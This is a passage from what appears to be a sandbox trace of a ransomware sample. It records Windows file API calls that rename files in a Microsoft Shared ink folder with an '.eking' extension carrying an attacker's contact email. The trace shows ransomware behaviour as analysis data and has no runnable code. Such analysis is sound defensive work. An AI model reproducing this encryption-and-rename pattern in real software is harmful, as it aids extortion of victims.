Shared\\ink\\hwrusalm.dat.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrusalm.dat.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0 [0166.990] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrusalm.dat.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrusalm.dat.id[9c354b42-3003].[davidshelper@protonmail.com].eking"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrusalm.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrusalm.dat")) returned 0 [0166.990] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrusash.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrusash.dat"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0166.990] GetFileSizeEx (in: hFile=0x1e4, lpFileSize=0x322fcd8 | out: lpFileSize=0x322fcd8*=4120784) returned 1 [0166.990] CloseHandle (hObject=0x1e4) returned 1 [0166.990] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrusash.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrusash.dat")) returned 0x20 [0166.991] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrusash.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrusash.dat"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrusash.dat.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrusash.dat.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0 [0166.991] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrusash.dat.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrusash.dat.id[9c354b42-3003].[davidshelper@protonmail.com].eking"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrusash.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrusash.dat")) returned 0 [0166.991] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\InkDiv.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\inkdiv.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0166.991] GetFileSizeEx (in: hFile=0x1e4, lpFileSize=0x322fcd8 | out: lpFileSize=0x322fcd8*=353280) returned 1 [0166.991] CloseHandle (hObject=0x1e4) returned 1 [0166.991] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\InkDiv.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\inkdiv.dll")) returned 0x20 [0166.992] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\InkDiv.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\inkdiv.dll")) returned 0x20 [0166.992] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\InkDiv.dll.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\inkdiv.dll.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0166.992] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\InkDiv.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\inkdiv.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0167.000] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\InkObj.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\inkobj.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0167.000] GetFileSizeEx (in: hFile=0x1e4, lpFileSize=0x322fcd8 | out: lpFileSize=0x322fcd8*=2103296) returned 1 [0167.000] CloseHandle (hObject=0x1e4) returned 1 [0167.000] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\InkObj.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\inkobj.dll")) returned 0x20 [0167.001] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\InkObj.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\inkobj.dll"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\InkObj.dll.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\inkobj.dll.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0 [0167.001] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\InkObj.dll.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\inkobj.dll.id[9c354b42-3003].[davidshelper@protonmail.com].eking"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\InkObj.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\inkobj.dll")) returned 0 [0167.001] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\InkWatson.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\inkwatson.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0167.001] GetFileSizeEx (in: hFile=0x1e4, lpFileSize=0x322fcd8 | out: lpFileSize=0x322fcd8*=397312) returned 1 [0167.001] CloseHandle (hObject=0x1e4) returned 1 [0167.001] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\InkWatson.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\inkwatson.exe")) returned 0x20 [0167.002] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\InkWatson.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\inkwatson.exe")) returned 0x20 [0167.002] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\InkWatson.exe.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\inkwatson.exe.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0167.002] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\InkWatson.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\inkwatson.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0167.002] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\InputPersonalization.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\inputpersonalization.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0167.002] GetFileSizeEx (in: hFile=0x1e4, lpFileSize=0x322fcd8 | out: lpFileSize=0x322fcd8*=383488) returned 1 [0167.002] CloseHandle (hObject=0x1e4) returned 1 [0167.003] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\InputPersonalization.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\inputpersonalization.exe")) returned 0x20 [0167.003] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\InputPersonalization.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\inputpersonalization.exe")) returned 0x20 [0167.003] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\InputPersonalization.exe.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\inputpersonalization.exe.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0167.003] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\InputPersonalization.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\inputpersonalization.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0167.003] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipscat.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipscat.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0167.006] GetFileSizeEx (in: hFile=0x1e4, lpFileSize=0x322fcd8 | out: lpFileSize=0x322fcd8*=2592) returned 1 [0167.006] CloseHandle (hObject=0x1e4) returned 1 [0167.006] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipscat.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipscat.xml")) returned 0x20 [0167.006] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipscat.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipscat.xml")) returned 0x20 [0167.006] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipscat.xml.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipscat.xml.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0167.006] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipscat.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipscat.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0167.006] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipschs.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipschs.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0167.007] GetFileSizeEx (in: hFile=0x1e4, lpFileSize=0x322fcd8 | out: lpFileSize=0x322fcd8*=2462) returned 1 [0167.007] CloseHandle (hObject=0x1e4) returned 1 [0167.007] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipschs.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipschs.xml")) returned 0x20 [0167.007] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipschs.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipschs.xml")) returned 0x20 [0167.007] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipschs.xml.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipschs.xml.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0167.007] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipschs.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipschs.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0167.008] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipscht.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipscht.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0167.009] GetFileSizeEx (in: hFile=0x1e4, lpFileSize=0x322fcd8 | out: lpFileSize=0x322fcd8*=2436) returned 1 [0167.009] CloseHandle (hObject=0x1e4) returned 1 [0167.009] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipscht.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipscht.xml")) returned 0x20 [0167.009] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipscht.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipscht.xml")) returned 0x20 [0167.009] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipscht.xml.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipscht.xml.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0167.009] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipscht.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipscht.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0167.009] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipscsy.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipscsy.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0167.010] GetFileSizeEx (in: hFile=0x1e4, lpFileSize=0x322fcd8 | out: lpFileSize=0x322fcd8*=2556) returned 1 [0167.010] CloseHandle (hObject=0x1e4) returned 1 [0167.010] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipscsy.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipscsy.xml")) returned 0x20 [0167.010] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipscsy.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipscsy.xml")) returned 0x20 [0167.010] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipscsy.xml.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipscsy.xml.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0167.010] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipscsy.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipscsy.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0167.010] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsdan.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsdan.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0167.013] GetFileSizeEx (in: hFile=0x1e4, lpFileSize=0x322fcd8 | out: lpFileSize=0x322fcd8*=2514) returned 1 [0167.013] CloseHandle (hObject=0x1e4) returned 1 [0167.013] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsdan.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsdan.xml")) returned 0x20 [0167.013] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsdan.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsdan.xml")) returned 0x20 [0167.013] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsdan.xml.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsdan.xml.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0167.013] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsdan.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsdan.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0167.014] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsdeu.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsdeu.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0167.014] GetFileSizeEx (in: hFile=0x1e4, lpFileSize=0x322fcd8 | out: lpFileSize=0x322fcd8*=2616) returned 1 [0167.014] CloseHandle (hObject=0x1e4) returned 1 [0167.014] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsdeu.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsdeu.xml")) returned 0x20 [0167.014] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsdeu.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsdeu.xml")) returned 0x20 [0167.014] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsdeu.xml.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsdeu.xml.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0167.014] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsdeu.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsdeu.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0167.015] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsen.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsen.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0167.016] GetFileSizeEx (in: hFile=0x1e4, lpFileSize=0x322fcd8 | out: lpFileSize=0x322fcd8*=2578) returned 1 [0167.016] CloseHandle (hObject=0x1e4) returned 1 [0167.016] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsen.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsen.xml")) returned 0x20 [0167.016] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsen.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsen.xml")) returned 0x20 [0167.016] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsen.xml.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsen.xml.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0167.016] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsen.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsen.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0167.016] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsesp.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsesp.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0167.017] GetFileSizeEx (in: hFile=0x1e4, lpFileSize=0x322fcd8 | out: lpFileSize=0x322fcd8*=3024) returned 1 [0167.017] CloseHandle (hObject=0x1e4) returned 1 [0167.017] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsesp.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsesp.xml")) returned 0x20 [0167.017] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsesp.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsesp.xml")) returned 0x20 [0167.017] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsesp.xml.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsesp.xml.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0167.017] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsesp.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsesp.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0167.017] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\IPSEventLogMsg.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipseventlogmsg.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0167.018] GetFileSizeEx (in: hFile=0x1e4, lpFileSize=0x322fcd8 | out: lpFileSize=0x322fcd8*=2048) returned 1 [0167.018] CloseHandle (hObject=0x1e4) returned 1 [0167.018] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\IPSEventLogMsg.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipseventlogmsg.dll")) returned 0x20 [0167.018] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\IPSEventLogMsg.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipseventlogmsg.dll")) returned 0x20 [0167.018] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\IPSEventLogMsg.dll.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipseventlogmsg.dll.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0167.018] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\IPSEventLogMsg.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipseventlogmsg.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0167.019] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsfin.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsfin.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0167.019] GetFileSizeEx (in: hFile=0x1e4, lpFileSize=0x322fcd8 | out: lpFileSize=0x322fcd8*=2658) returned 1 [0167.019] CloseHandle (hObject=0x1e4) returned 1 [0167.019] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsfin.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsfin.xml")) returned 0x20 [0167.019] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsfin.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsfin.xml")) returned 0x20 [0167.019] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsfin.xml.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsfin.xml.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0167.019] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsfin.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsfin.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0167.020] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsfra.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsfra.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0167.021] GetFileSizeEx (in: hFile=0x1e4, lpFileSize=0x322fcd8 | out: lpFileSize=0x322fcd8*=2628) returned 1 [0167.021] CloseHandle (hObject=0x1e4) returned 1 [0167.021] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsfra.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsfra.xml")) returned 0x20 [0167.021] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsfra.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsfra.xml")) returned 0x20 [0167.021] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsfra.xml.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsfra.xml.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0167.021] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsfra.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsfra.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0167.021] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipshrv.xml" (normalized: 